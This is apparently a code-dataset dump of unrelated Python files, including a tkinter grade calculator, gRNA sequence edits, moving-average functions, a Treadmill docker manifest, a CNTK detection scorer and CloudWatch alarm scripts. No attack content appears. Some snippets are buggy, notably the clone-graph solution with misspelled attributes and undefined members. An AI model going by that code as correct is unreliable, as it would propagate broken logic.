newAvg = self.assignmentList[0]\r\n else:\r\n newAvg = sum / (len(self.assignmentList))\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n assignmentAvg = Label(self, text=self.something)\r\n Label(self, text=\"Assignment Average\").grid(row=self.assignmentNumber + 3, column=4)\r\n assignmentAvg.grid(row=self.assignmentNumber + 3, column=5)\r\n\r\n return newAvg\r\n\r\n\r\n def calculateLabs(self):\r\n\r\n if len(self.labList) != 0:\r\n previousGrade = float(self.labGrade.get())\r\n self.labList[self.labNumber - 2] = previousGrade\r\n else:\r\n self.labList.append(float(self.labGrade.get()))\r\n\r\n sum = 0\r\n for i in range(len(self.labList)):\r\n sum += self.labList[i]\r\n if len(self.labList) != 0:\r\n if len(self.labList) == 1:\r\n newAvg = self.labList[0]\r\n else:\r\n newAvg = sum / (len(self.labList))\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n labAvg = Label(self, text=self.something)\r\n labAvg.grid(row=self.labNumber + 3, column=9)\r\n Label(self, text=\"Lab Average\").grid(row=self.labNumber + 3, column=8)\r\n return newAvg\r\n\r\n\r\n def calculateEssays(self):\r\n\r\n if len(self.essayList) != 0:\r\n previousGrade = float(self.essayGrade.get())\r\n self.essayList[self.essayNumber - 2] = previousGrade\r\n else:\r\n self.essayList.append(float(self.essayGrade.get()))\r\n\r\n sum = 0\r\n for i in range(len(self.essayList)):\r\n sum += self.essayList[i]\r\n if len(self.essayList) != 0:\r\n if len(self.essayList) == 1:\r\n newAvg = self.essayList[0]\r\n else:\r\n newAvg = sum / (len(self.essayList))\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n essayAvg = Label(self, text=self.something)\r\n essayAvg.grid(row=self.essayNumber + 22, column=9)\r\n Label(self, text=\"Essay Average\").grid(row=self.essayNumber + 22, column=8)\r\n return newAvg\r\n\r\n\r\n def calculateQuizzes(self):\r\n\r\n if len(self.quizList) != 0:\r\n previousGrade = float(self.quizGrade.get())\r\n self.quizList[self.quizNumber - 2] = previousGrade\r\n else:\r\n self.quizList.append(float(self.quizGrade.get()))\r\n\r\n sum = 0\r\n for i in range(len(self.quizList)):\r\n sum += self.quizList[i]\r\n if len(self.quizList) != 0:\r\n if len(self.quizList) == 1:\r\n newAvg = self.quizList[0]\r\n else:\r\n newAvg = sum / (len(self.quizList))\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n quizAvg = Label(self, text=self.something)\r\n quizAvg.grid(row=self.quizNumber + 22, column=1)\r\n Label(self, text=\"Quiz Average\").grid(row=self.quizNumber + 22, column=0)\r\n return newAvg\r\n\r\n\r\n def calculateFinalExam(self):\r\n\r\n if len(self.finalExamList) != 0:\r\n previousGrade = float(self.finalExamGrade.get())\r\n self.finalExamList[self.finalExamNumber - 2] = previousGrade\r\n else:\r\n self.finalExamList.append(float(self.finalExamGrade.get()))\r\n\r\n sum = 0\r\n for i in range(len(self.finalExamList)):\r\n sum += self.finalExamList[i]\r\n if len(self.finalExamList) != 0:\r\n if len(self.finalExamList) == 1:\r\n newAvg = self.finalExamList[0]\r\n else:\r\n newAvg = sum / (len(self.finalExamList))\r\n else:\r\n newAvg = 0\r\n\r\n self.something = newAvg\r\n finalExamAvg = Label(self, text=self.something)\r\n Label(self, text=\"Final Exam Average\").grid(row=self.finalExamNumber + 22, column=4)\r\n finalExamAvg.grid(row=self.finalExamNumber + 22, column=5)\r\n\r\n return newAvg\r\n\r\n\r\n def Calculate(self): # A function that calls of the calculate functions and finds the final grade of the class\r\n examAverage = 0\r\n try:\r\n examAverage = self.calculateExams() # If there are no exams, an attribute error will appear. Same for the rest of the sections\r\n except AttributeError: # If this happens, the exam average is recorded as 0\r\n nothing = 0\r\n\r\n assignmentAverage = 0\r\n try:\r\n assignmentAverage = self.calculateAssignments()\r\n except AttributeError:\r\n nothing = 0\r\n\r\n labAverage = 0\r\n try:\r\n labAverage = self.calculateLabs()\r\n except AttributeError:\r\n nothing = 0\r\n\r\n quizAverage = 0\r\n try:\r\n quizAverage = self.calculateQuizzes()\r\n except AttributeError:\r\n nothing = 0\r\n\r\n finalExamAverage = 0\r\n try:\r\n finalExamAverage = self.calculateFinalExam()\r\n except AttributeError:\r\n nothing = 0\r\n\r\n essayAverage = 0\r\n try:\r\n essayAverage = self.calculateEssays()\r\n except AttributeError:\r\n nothing = 0\r\n\r\n officialGrade = (examAverage * ((int(self.examWeight.get()))) + assignmentAverage * (\r\n (int(self.assignmentWeight.get())))\r\n + labAverage * ((int(self.labWeight.get()))) + quizAverage * ((int(self.quizWeight.get()))) +\r\n finalExamAverage * ((int(self.finalExamWeight.get()))) + essayAverage * (\r\n (int(self.essayWeight.get())))) / 100 # The final grade is calculated using the section weights and averages\r\n\r\n officialGradeLabel = Label(self, text=officialGrade, font=self.finalFont) # A label that shows the final percent\r\n officialGradeLabel.grid(row=21, column=15, rowspan = 2)\r\n\r\n gradeLetter = Label(self, text=self.getGrade(officialGrade, self.gradeScale), font=self.finalLetterFont) # A label that shows the final letter grade\r\n gradeLetter.grid(row=23, column=15, rowspan = 4) # Get this to update just like scores\r\n\r\n\r\n\r\ndef main(): # Main function\r\n\r\n root = Tk() # Creates an instance of the tkinter object\r\n\r\n app = GradeCalc(root) # Creates an instance of the grade calculator class, inheriting the tkinter object as a paramter\r\n app.title(\"Grade Calculator\") # Names the window\r\n root.withdraw() # Needed to ignore the original root window\r\n\r\n app.state('zoomed') # Maximizes the grade calculator window\r\n root.mainloop() # Runs the loop\r\n\r\n\r\n\r\nif __name__ == '__main__': # A call to the main function\r\n main()","sub_path":"GradeCalculator/GradeCalculatorGUI.py","file_name":"GradeCalculatorGUI.py","file_ext":"py","file_size_in_byte":28798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"101529061","text":"def spliting(grna,seq):\r\n\tstart=seq.find(grna)\r\n\tstop=start+20\r\n\tlefseq=seq[:start-1]\r\n\trightseq=seq[stop+1:]\r\n\tdouble_lst=[lefseq,rightseq]\r\n\treturn double_lst\r\ndef replacing(lst):\r\n\tnew_lst=[seq.replace(\"GAGACG\",\"GAGAtG\") for seq in lst]\r\n\tnew_new_seq=[sequence.replace(\"CGTCTC\",\"CaTCTC\") for sequence in new_lst]\r\n\treturn new_new_seq\r\ndef tiankong(grna,lst):\r\n\tnewseq=lst[0]+grna+lst[1]\r\n\treturn newseq\r\nfasta={}\r\nfasta2={}\r\nwith open(\"C:/Users/Administrator/Desktop/output5-3-filter.txt\") as f:\r\n\tfor line in f:\r\n\t\ttag,tag2,tag3,grna,chr,pos,*seq=line.split(\"\\t\")\r\n\t\tnew_seq=[sequence.strip(\"\\n\").strip(\"\\t\").upper() for sequence in seq]\r\n\t\tnew_new_seq=[spliting(grna,haha) for haha in new_seq]\r\n\t\tfasta[tag]=new_new_seq\r\nfor key,val in fasta.items():\r\n\tfina_lst=[replacing(lst) for lst in val]\r\n\tfasta2[key]=fina_lst\r\nwith open(\"C:/Users/Administrator/Desktop/output5-3-filter.txt\") as k:\r\n\tfor line in k:\r\n\t\ttag,tag2,tag3,grna,chr,pos,*seq=line.split(\"\\t\")\r\n\t\tnew3_lst=[tiankong(grna,long) for long in fasta2[tag]]\r\n\t\twith open(\"C:/Users/Administrator/Desktop/final.txt\",'a') as h:\r\n\t\t\th.write(tag+\"\\t\"+tag2+\"\\t\"+tag3+\"\\t\"+grna+\"\\t\"+chr+\"\\t\"+pos+\"\\t\"+\"\\t\".join(new3_lst)+\"\\n\")\r\n\r\n","sub_path":"task7.py","file_name":"task7.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177918795","text":"from __future__ import absolute_import\nimport numpy as np\nfrom pyti import catch_errors\nfrom pyti.function_helper import fill_for_noncomputable_vals\nfrom six.moves import range\n\n# import pandas as pd\n\n\n# legacy Pandas (too slow for backtesting)\n# def pandas_smoothed_moving_average(data, period):\n# \"\"\"\n# Smoothed Moving Average.\n#\n# Formula:\n# smma = avg(data(n)) - avg(data(n)/n) + data(t)/n\n# \"\"\"\n# catch_errors.check_for_period_error(data, period)\n# series = pd.Series(data)\n# return series.ewm(alpha = 1.0/period).mean().values.flatten()\n\n\n# faster alternative implementations\n###########################################\ndef smoothed_moving_average(data, window):\n data = np.array(data)\n alpha = 2 / (window + 1.0)\n alpha_rev = 1-alpha\n n = data.shape[0]\n\n pows = alpha_rev**(np.arange(n+1))\n\n scale_arr = 1/pows[:-1]\n offset = data[0]*pows[1:]\n pw0 = alpha*alpha_rev**(n-1)\n\n mult = data*pw0*scale_arr\n cumsums = mult.cumsum()\n out = offset + cumsums*scale_arr[::-1]\n return out\n\n\ndef alt2_smoothed_moving_average(data, period):\n \"\"\"\n Returns the exponentially weighted moving average of x.\n\n Parameters:\n -----------\n data : array-like\n period : float {0 <= period <= 1}\n\n Returns:\n --------\n ewma : numpy array\n the exponentially weighted moving average\n \"\"\"\n # coerce x to an array\n data = np.array(data)\n n = data.size\n # create an initial weight matrix of (1-alpha), and a matrix of powers\n # to raise the weights by\n w0 = np.ones(shape=(n, n)) * (1 - period)\n p = np.vstack([np.arange(i, i - n, -1) for i in range(n)])\n # create the weight matrix\n w = np.tril(w0 ** p, 0)\n # calculate the ewma\n return np.dot(w, data[::np.newaxis]) / w.sum(axis=1)\n\n\ndef alt3_smoothed_moving_average(data, window):\n data = np.array(data)\n alpha = 2 / (window + 1.0)\n scale = 1/(1-alpha)\n n = data.shape[0]\n scale_arr = (1-alpha)**(-1*np.arange(n))\n weights = (1-alpha)**np.arange(n)\n pw0 = (1-alpha)**(n-1)\n mult = data*pw0*scale_arr\n cumsums = mult.cumsum()\n out = cumsums*scale_arr[::-1] / weights.cumsum()\n\n return out\n","sub_path":"pyti/smoothed_moving_average.py","file_name":"smoothed_moving_average.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"137030674","text":"import netCDF4 as nc\nimport numpy as np\nfrom datetime import datetime, timedelta\nimport sqlite3\nfrom pathlib import Path\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom matplotlib.ticker import MaxNLocator # for axis integer\nimport pandas as pd\nimport configparser\nimport time\nimport tower_lib as tl\n\nstart_time = time.time()\n\nCONFIG_NAME = \"../tower.conf\"\nDEBUG = False\n\n\ndef read_config(path):\n\n config = configparser.ConfigParser(\n interpolation=configparser.ExtendedInterpolation()\n )\n config.read(path)\n\n # settings = dict(config.items(\"paths\"))\n settings = dict(config[\"paths\"])\n # # Flatten the structure and convert the types of the parameters\n # settings = dict(\n # wwwpath=config.get(\"paths\", \"wwwpath\"),\n # datapath=config.get(\"paths\", \"datapath\"),\n # dbpath=config.get(\"paths\", \"dbpath\"),\n # dbfile=config.getint(\"paths\", \"dbfile\"),\n # npzpath=config.getfloat(\"paths\", \"npzpath\"),\n # L1path=config.getint(\"paths\", \"l1path\"),\n # L2path=config.get(\"paths\", \"l2path\"),\n # rrdpath=config.get(\"paths\", \"rrdpath\"),\n # )\n\n return settings\n\n\ndef smooth(x, window_len=11, window='hanning'):\n \"\"\"\n \"\"\"\n\n if x.ndim != 1:\n raise ValueError(\"smooth only accepts 1 dimension arrays.\")\n if x.size < window_len:\n raise ValueError(\"Input vector needs to be bigger than window size.\")\n if window_len < 3:\n return x\n\n s = np.r_[2*x[0]-x[window_len-1::-1], x, 2*x[-1]-x[-1:-window_len:-1]]\n\n if window == 'flat': # moving average\n w = np.ones(window_len)\n elif window == 'hanning':\n w = np.hanning(window_len)\n elif window == 'hamming':\n w = np.hamming(window_len)\n elif window == 'bartlett':\n w = np.bartlett(window_len)\n elif window == 'blackman':\n w = np.blackman(window_len)\n else:\n raise ValueError(\"Window is on of 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\")\n\n y = np.convolve(w/w.sum(), s, mode='same')\n\n return y[window_len:-window_len+1]\n\n\ndef quality_info(datetimes, window_len, frequency):\n \"\"\" Computes gaps in data in every window_len (seconds) step\n with window_len step (not running value)\n \"\"\"\n normal_amount = window_len*frequency\n mask = np.full_like(datetimes, True)\n\n series = pd.Series(mask, index=datetimes)\n\n quality = (1 - series.resample(timedelta(seconds=window_len), label=\"left\").sum()/normal_amount)*100.\n\n return quality.index[1:-1], quality.values[1:-1]\n\n\nwindow=30 # rolling and resampling window (min)\n\n# First read sonfiguration\nconfig = read_config(CONFIG_NAME)\n\ndbfile = \"%s/%s\" % (config['dbpath'], config['dbfile'])\nconn = sqlite3.connect(dbfile)\ncur = conn.cursor()\ncur.execute('SELECT short_name FROM towers')\ntrows = cur.fetchall()\nfor trow in trows:\n tower_name = trow[0]\n print(\"Working on tower named: %s\" % (tower_name))\n\n plt, ax0, ax1 = tl.plot.web_accustic_stat_prep()\n cur.execute('SELECT equipment_name,Hz,height FROM equipment WHERE tower_name=? AND type=\"sonic\" AND show=1', (tower_name,))\n erows = cur.fetchall()\n for erow in erows:\n equipment_name = erow[0]\n frequency = float(erow[1])\n hgt = float(erow[2])\n print(\" Working on tower %s, equipment %s:\" % (tower_name, equipment_name))\n\n buffer_file = Path(config['buffer_path'],'%s_%s_BUFFER.npz' % (tower_name, equipment_name))\n\n try:\n data = tl.reader.buffer(buffer_file)\n except:\n data = tl.data.create_empty_pd()\n\n data = tl.data.clean(data)\n data = tl.math.primes(data,int(window*frequency*60), detrend='mean')\n data = tl.math.tke(data)\n plt, ax0, ax1 = tl.plot.web_accustic_stat(data, frequency=frequency, window=window*frequency*60, \n plt=plt, ax0=ax0, ax1=ax1, label=f\"{equipment_name} ({hgt} m)\")\n ax0.legend()\n ax1.legend()\n figname_data = \"%s/static/%s_STAT_data24hr_spec.png\" % (config['wwwpath'], tower_name)\n plt.savefig(figname_data, dpi=150)\n\n \nprint(\"{}: Running {:.2f} seconds, {:.2f} minutes \".format( datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n (time.time() - start_time),\n (time.time() - start_time)/60. ) )\n\n","sub_path":"scripts/plot_rtstat.py","file_name":"plot_rtstat.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"376604211","text":"\"\"\"\nA deliberately bad implementation of [Boids](http://dl.acm.org/citation.cfm?doid=37401.37406)\nfor use as an exercise on refactoring.\n\"\"\"\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib import animation\n\nimport numpy\n\nfrom parameters import*\nimport boids\n\nflock=boids.boids(attraction_strength,boidproximitythreshold,matchspeed_distance,matchspeed_strength,number_of_boids)\nflock.initial_flock()\n\n\n\t\t\t\n\n\t\nfigure=plt.figure()\naxes=plt.axes(xlim=(-500,1500), ylim=(-500,1500))\n\nscatter=axes.scatter([boid.xposition for boid in flock.boids],[boid.yposition for boid in flock.boids])\n\ndef animate(frame):\n flock.update_boids()\n scatter.set_offsets(zip([boid.xposition for boid in flock.boids],[boid.yposition for boid in flock.boids]))\n\n\nanim = animation.FuncAnimation(figure, animate,\n frames=200, interval=50)\n\nif __name__ == \"__main__\":\n plt.show()\n\n\n","sub_path":"Animate.py","file_name":"Animate.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"93482030","text":"\"\"\"manifest module for linux runtime\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport logging\nimport pwd\n\nfrom treadmill import dist\nfrom treadmill import subproc\n\nfrom treadmill.appcfg import manifest as app_manifest\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef add_runtime(tm_env, manifest):\n \"\"\"Adds linux runtime specific details to the manifest.\n And add docker runtime specific details to the manifest\n \"\"\"\n _transform_services(manifest)\n\n app_manifest.add_linux_system_services(tm_env, manifest)\n app_manifest.add_linux_services(manifest)\n _add_dockerd_services(manifest, tm_env)\n\n\ndef _generate_command(raw_cmd, unique_id):\n \"\"\"Get treadmill docker running command from image\n \"\"\"\n if raw_cmd.startswith('docker://'):\n image_cmd = raw_cmd[9:].split(None, 1)\n if len(image_cmd) > 1:\n image = image_cmd[0]\n cmd = image_cmd[1]\n else:\n image = image_cmd[0]\n cmd = None\n return _get_docker_run_cmd(unique_id, image, cmd)\n else:\n return raw_cmd\n\n\ndef _get_docker_run_cmd(unique_id, image, command=None, uidgid=None):\n \"\"\"Get docker run cmd from raw command\n \"\"\"\n # TODO: hardode volume for now\n volumes = [\n ('/var/tmp', '/var/tmp', 'rw'),\n ('/var/spool', '/var/spool', 'rw'),\n ]\n\n tpl = (\n 'exec {tm} sproc docker'\n ' --unique_id {unique_id}'\n ' --envdirs /env,/services/{unique_id}/env'\n ' --image {image}'\n )\n\n for volume in volumes:\n tpl += ' --volume {source}:{dest}:{mode}'.format(\n source=volume[0],\n dest=volume[1],\n mode=volume[2]\n )\n\n if uidgid is not None:\n tpl += ' --user {uidgid}'.format(uidgid=uidgid)\n\n if command is not None:\n tpl += ' -- {cmd}'\n\n return tpl.format(\n tm=dist.TREADMILL_BIN,\n unique_id=unique_id,\n image=image,\n cmd=command,\n )\n\n\ndef _transform_services(manifest):\n \"\"\"Adds linux runtime specific details to the manifest.\"\"\"\n # Normalize restart count\n manifest['services'] = [\n {\n 'name': service['name'],\n 'command': _generate_command(\n service['command'],\n service['name'],\n ),\n 'restart': {\n 'limit': int(service['restart']['limit']),\n 'interval': int(service['restart']['interval']),\n },\n 'root': service.get('root', False),\n 'proid': (\n 'root' if service.get('root', False)\n else manifest['proid']\n ),\n 'environ': manifest['environ'],\n 'config': None,\n 'downed': False,\n 'trace': True,\n }\n for service in manifest.get('services', [])\n ]\n\n\ndef _get_docker_registry(_tm_env):\n # TODO get registry from cell_config.yml\n return 'lab-repo.msdev.ms.com:5000'\n\n\ndef _add_dockerd_services(manifest, tm_env):\n \"\"\"Configure docker daemon services.\"\"\"\n # add dockerd service\n (_uid, proid_gid) = _get_user_uid_gid(manifest['proid'])\n dockerd_svc = {\n 'name': 'dockerd',\n 'proid': 'root',\n 'restart': {\n 'limit': 5,\n 'interval': 60,\n },\n 'command': (\n 'exec {dockerd} --add-runtime docker-runc={docker_runtime}'\n ' --default-runtime=docker-runc'\n ' --exec-opt native.cgroupdriver=cgroupfs --bridge=none'\n ' --ip-forward=false --ip-masq=false --iptables=false'\n ' --cgroup-parent=/docker -G {gid}'\n ' --insecure-registry {registry} --add-registry {registry}'\n ).format(\n dockerd=subproc.resolve('dockerd'),\n docker_runtime=subproc.resolve('docker_runtime'),\n gid=proid_gid,\n registry=_get_docker_registry(tm_env)\n ),\n 'root': True,\n 'environ': [],\n 'config': None,\n 'downed': False,\n 'trace': False,\n }\n manifest['services'].append(dockerd_svc)\n\n\ndef _get_user_uid_gid(username):\n user_pw = pwd.getpwnam(username)\n return (user_pw.pw_uid, user_pw.pw_gid)\n","sub_path":"lib/python/treadmill/runtime/docker2/_manifest.py","file_name":"_manifest.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"234003518","text":"class UndirectedGraphNode:\n def __init__(self, x):\n self.label = x\n self.neighbors = []\n\nclass Solution:\n # @param node, a undirected graph node\n # @return a undirected graph node\n def clone(self,node):\n self.visited[node.lable]=1\n newNode=UndirectedGraphNode(node.lable)\n for neighbor in node.neighbors:\n if not self.visited.has_key(neighbor.lable) or not self.visited[neighbor.lable]:\n remain=self.clone(neighbor)\n newNode.append(remain)\n self.visited[node.lable]=0\n \n def cloneGraph(self, node):\n if not node:\n return node\n visited={}\n queue=[]\n visted={}\n queue.append(node)\n root=UndirectedGraphNode(node.lable)\n while queue:\n cur=queue.pop()\n self.visited[cur.label]=1\n for neighbor in cur.neighbors:\n if not visited.has_key(neighbor.label) or not visited[neighbor.label]:\n copy=UndirectedGraphNode(neighbor.label)\n cur.neighbors.append(copy)\n copy.neighbors.append(cur)\n queue.insert(0,copy)\n return root\n","sub_path":"LeetCode/rewrite/cloneGraph.py","file_name":"cloneGraph.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"60319021","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport importlib\nimport random\nimport json\nimport cv2\nimport numpy as np\nfrom helpers_cntk import *\nfrom PARAMETERSall import modelDir_1, modelDir_2, cntk_nrRois_1, cntk_nrRois_2, getCntkInputs, applyNonMaximaSuppression, nmsThreshold, get_grid_rois_inbox, train_posOverlapThres, nrClasses_1, scoreRois, classes_1, vis_decisionThresholds, nrClasses_2, classes_2\nfrom SLIDINGWINDOWPARAMS import generate_rois, get_grid_rois, imH, imW, stepsize, rectangles, ratios, stepsize_ratio, small_rectangles\nfrom helpers import imread\nimport logging\n\nlogging.basicConfig(\n format='%(asctime)s %(levelname)s - %(message)s', level=logging.DEBUG)\n\nfrom PIL import Image, ImageChops, ImageOps\n\n\ndef makeThumb(f_in, size=(80, 80)):\n image = Image.open(f_in)\n offset_x = max(image.size[0] - image.size[1], 0)\n offset_y = max(image.size[1] - image.size[0], 0)\n crop = image.crop((int(offset_x / 2), int(offset_y / 2),\n image.size[0] - int(offset_x / 2), image.size[1] - int(offset_y / 2)))\n print((int(offset_x / 2), int(offset_y / 2),\n size[0] - int(offset_x / 2), size[1] - int(offset_y / 2)), offset_x, offset_y)\n crop_size = crop.size\n crop = crop.resize(size, Image.ANTIALIAS)\n crop.save('test.jpg')\n print(offset_x, offset_y, crop.size, image.size)\n return crop, offset_x, offset_y, image.size, crop_size\n\n\ndef score_one_image(imgPath, mode_1, model_2):\n # choose which classifier to use\n\n # no need to change these parameters\n boAddSelectiveSearchROIs = True\n boAddGridROIs = True\n boFilterROIs = True\n boUseNonMaximaSurpression = True\n\n print(\"reading image...\")\n pil_image, offset_x, offset_y, original_size, crop_size = makeThumb(\n imgPath, (imH, imW))\n print(original_size, crop_size, offset_x, offset_y)\n img = cv2.cvtColor(np.array(pil_image), cv2.COLOR_RGB2BGR)\n cv2.imwrite('test2.jpg', img)\n # compute ROIs\n gridRois_1 = get_grid_rois(imW, imH, stepsize / 2, rectangles)\n if len(gridRois_1) >= cntk_nrRois_1:\n gridRois_1 = gridRois_1[:cntk_nrRois_1]\n else:\n gridRois_1 = gridRois_1 + [[0, 0, 1, 1]] * \\\n (cntk_nrRois_1 - len(gridRois_1))\n\n print(\"prepare DNN inputs...\")\n # prepare DNN inputs\n _, _, roisCntk_1 = getCntkInputs(\n 'test2.jpg', gridRois_1, None, train_posOverlapThres, nrClasses_1, cntk_nrRois_1, imW, imH)\n arguments_1 = {\n # convert to CNTK's HWC format\n model_1.arguments[0]: [np.ascontiguousarray(np.array(img, dtype=np.float32).transpose(2, 0, 1))],\n model_1.arguments[1]: [np.array(roisCntk_1, np.float32)]\n }\n\n print(\"run DNN model...\")\n # run DNN model\n dnnOutputs_1 = model_1.eval(arguments_1)[0][0]\n dnnOutputs_1 = dnnOutputs_1[:len(gridRois_1)]\n\n print(\"score all ROIs...\")\n # score all ROIs\n labels_1, scores_1 = scoreRois(classifier, dnnOutputs_1, 1, 1, 1, len(classes_1),\n decisionThreshold=vis_decisionThresholds[classifier])\n\n print(\"perform non-maxima surpression...\")\n # perform non-maxima surpression\n nmsKeepIndices_1 = []\n if boUseNonMaximaSurpression:\n nmsKeepIndices_1 = applyNonMaximaSuppression(\n nmsThreshold, labels_1, scores_1, gridRois_1)\n\n # NMS transfer\n transfer_index = [x for x in nmsKeepIndices_1 if labels_1[x] > 0]\n transfer_boxes = [gridRois_1[x] for x in transfer_index]\n\n # compute ROIs\n if len(transfer_boxes) > 0:\n gridRois_2 = get_grid_rois_inbox(\n transfer_boxes, ratios, stepsize_ratio / 2, imW, imH)\n else:\n gridRois_2 = get_grid_rois(imW, imH, stepsize / 2, small_rectangles)\n if len(gridRois_2) >= cntk_nrRois_2:\n gridRois_2 = gridRois_2[:cntk_nrRois_2]\n else:\n gridRois_2 = gridRois_2 + [[0, 0, 1, 1]] * \\\n (cntk_nrRois_2 - len(gridRois_2))\n\n print(\"prepare DNN inputs...\")\n # prepare DNN inputs\n _, _, roisCntk_2 = getCntkInputs(\n 'test2.jpg', gridRois_2, None, train_posOverlapThres, nrClasses_2, cntk_nrRois_2, imW, imH)\n arguments_2 = {\n # convert to CNTK's HWC format\n model_2.arguments[0]: [np.ascontiguousarray(np.array(img, dtype=np.float32).transpose(2, 0, 1))],\n model_2.arguments[1]: [np.array(roisCntk_2, np.float32)]\n }\n\n print(\"run DNN model...\")\n # run DNN model\n dnnOutputs_2 = model_2.eval(arguments_2)[0][0]\n dnnOutputs_2 = dnnOutputs_2[:len(gridRois_2)]\n\n print(\"score all ROIs...\")\n # score all ROIs\n labels_2, scores_2 = scoreRois(classifier, dnnOutputs_2, 1, 1, 1, len(classes_2),\n decisionThreshold=vis_decisionThresholds[classifier])\n\n print(\"perform non-maxima surpression...\")\n # perform non-maxima surpression\n nmsKeepIndices_2 = []\n if boUseNonMaximaSurpression:\n nmsKeepIndices_2 = applyNonMaximaSuppression(\n nmsThreshold, labels_2, scores_2, gridRois_2)\n\n outDict = []\n for l, s, r in zip(labels_2, scores_2, gridRois_2):\n # create json-encoded string of all detections\n if l == 1:\n a = 1\n x_min = (r[0] * float(crop_size[0]) / float(imW) +\n offset_x / 2) / original_size[0]\n x_max = (r[2] * float(crop_size[0]) / float(imW) +\n offset_x / 2) / original_size[0]\n y_min = (r[1] * float(crop_size[1]) / float(imH) +\n offset_y / 2) / original_size[1]\n y_max = (r[3] * float(crop_size[1]) / float(imH) +\n offset_y / 2) / original_size[1]\n outDict.append({\"ItemName\": str(l), \"Score\": np.asscalar(s), \"nms\": False,\n \"Xmin\": x_min, \"Ymin\": y_min, \"Xmax\": x_max, \"Ymax\": y_max})\n for i in nmsKeepIndices_2:\n outDict[i][\"nms\"] = True\n\n output = []\n for obj in outDict:\n if obj['ItemName'] == '0' or obj['nms'] == False:\n continue\n output.append(obj)\n return output\n\n\n####################################\n# Main\n####################################\n\nif __name__ == '__main__':\n ####################################\n # Parameters\n ####################################\n classifier = 'nn'\n model_path_1 = os.path.join(modelDir_1, \"frcn_\" + classifier + \".model\")\n model_path_2 = os.path.join(modelDir_2, \"frcn_\" + classifier + \".model\")\n logging.debug(\"{} {}\".format(model_path_1, model_path_2))\n input_folder = os.environ['INPUT_FOLDER']\n output_folder = os.environ['OUTPUT_FOLDER']\n if 'AZ_BATCH_TASK_WORKING_DIR' in os.environ:\n input_folder = input_folder.replace('$AZ_BATCH_TASK_WORKING_DIR', os.environ[\n 'AZ_BATCH_TASK_WORKING_DIR'])\n output_folder = output_folder.replace('$AZ_BATCH_TASK_WORKING_DIR', os.environ[\n 'AZ_BATCH_TASK_WORKING_DIR'])\n# load cntk model\n print(\"Loading DNN...\")\n model_1 = load_model(model_path_1)\n model_2 = load_model(model_path_2)\n\n # score all images in one folder\n print(\"scoring...\")\n imgs = os.listdir(input_folder)\n for im in imgs:\n print(im)\n im_path = os.path.join(input_folder, im)\n if os.path.isdir(im_path):\n continue\n result = score_one_image(im_path, model_1, model_2)\n out = os.path.join(output_folder, os.path.basename(\n im_path) + '.fscnn.json')\n logging.debug('Writing to {}'.format(out))\n with open(out, 'w') as f:\n json.dump(result, f)\n","sub_path":"6_scoreImage_together.py","file_name":"6_scoreImage_together.py","file_ext":"py","file_size_in_byte":7485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403836640","text":"import click\n\nfrom bluecanary.managers import AlarmsManager, AWSCredentialsManager\nfrom bluecanary.plugins import load_plugins\nfrom bluecanary.set_cloudwatch_alarm import set_cloudwatch_alarm\nfrom bluecanary.tags import get_all_elb_tags\nfrom bluecanary.utilities import preserve_credentials_state\n\n\nplugin_alarms = load_plugins()\n\n\n@preserve_credentials_state\ndef update_elb_alarms(verbose=0):\n alarm_keys = AlarmsManager.get_alarm_keys()\n\n for alarm_key in alarm_keys:\n alarm_group = AlarmsManager.get_alarm_group(alarm_key)\n\n tag_key = alarm_group.get('TagKey')\n tag_value = alarm_group.get('TagValue')\n\n AWSCredentialsManager.load_saved_environment_state()\n if alarm_group.get('AWSProfile'):\n AWSCredentialsManager.load_aws_profile(alarm_group['AWSProfile'])\n\n elb_tags = get_all_elb_tags(tag_key)\n\n for elb_name, key in elb_tags.items():\n if key != alarm_key:\n continue\n\n if verbose:\n click.echo('\\nUpdating load balancer {} tagged with {}: {}'\n .format(elb_name, tag_key, tag_value))\n\n alarms = alarm_group.get('Alarms', [])\n for alarm in alarms:\n if verbose:\n click.echo('Updating {} alarm on load balancer {}'\n .format(alarm['MetricName'], elb_name))\n\n if alarm['MetricName'] in plugin_alarms:\n alarm = plugin_alarms.get(alarm['MetricName']).get_updated_alarm_kwargs(\n identifier=elb_name,\n **alarm\n )\n\n set_cloudwatch_alarm(elb_name, **alarm)\n","sub_path":"bluecanary/scripts/update_alarms/update_elb_alarms.py","file_name":"update_elb_alarms.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"450631032","text":"\nimport mock\n\nimport helpers\n\nhelpers.path_bodge()\n\nfrom proton_helper import ProtonHelper\n\ndef assert_load(data_to_load):\n mock_loader = mock.Mock()\n mock_loader.return_value = data_to_load\n ph = ProtonHelper(mock_loader)\n\n input_ = 'bacon'\n ph.load(input_)\n\n mock_loader.assert_called_once_with(input_)\n\n return ph\n\ndef 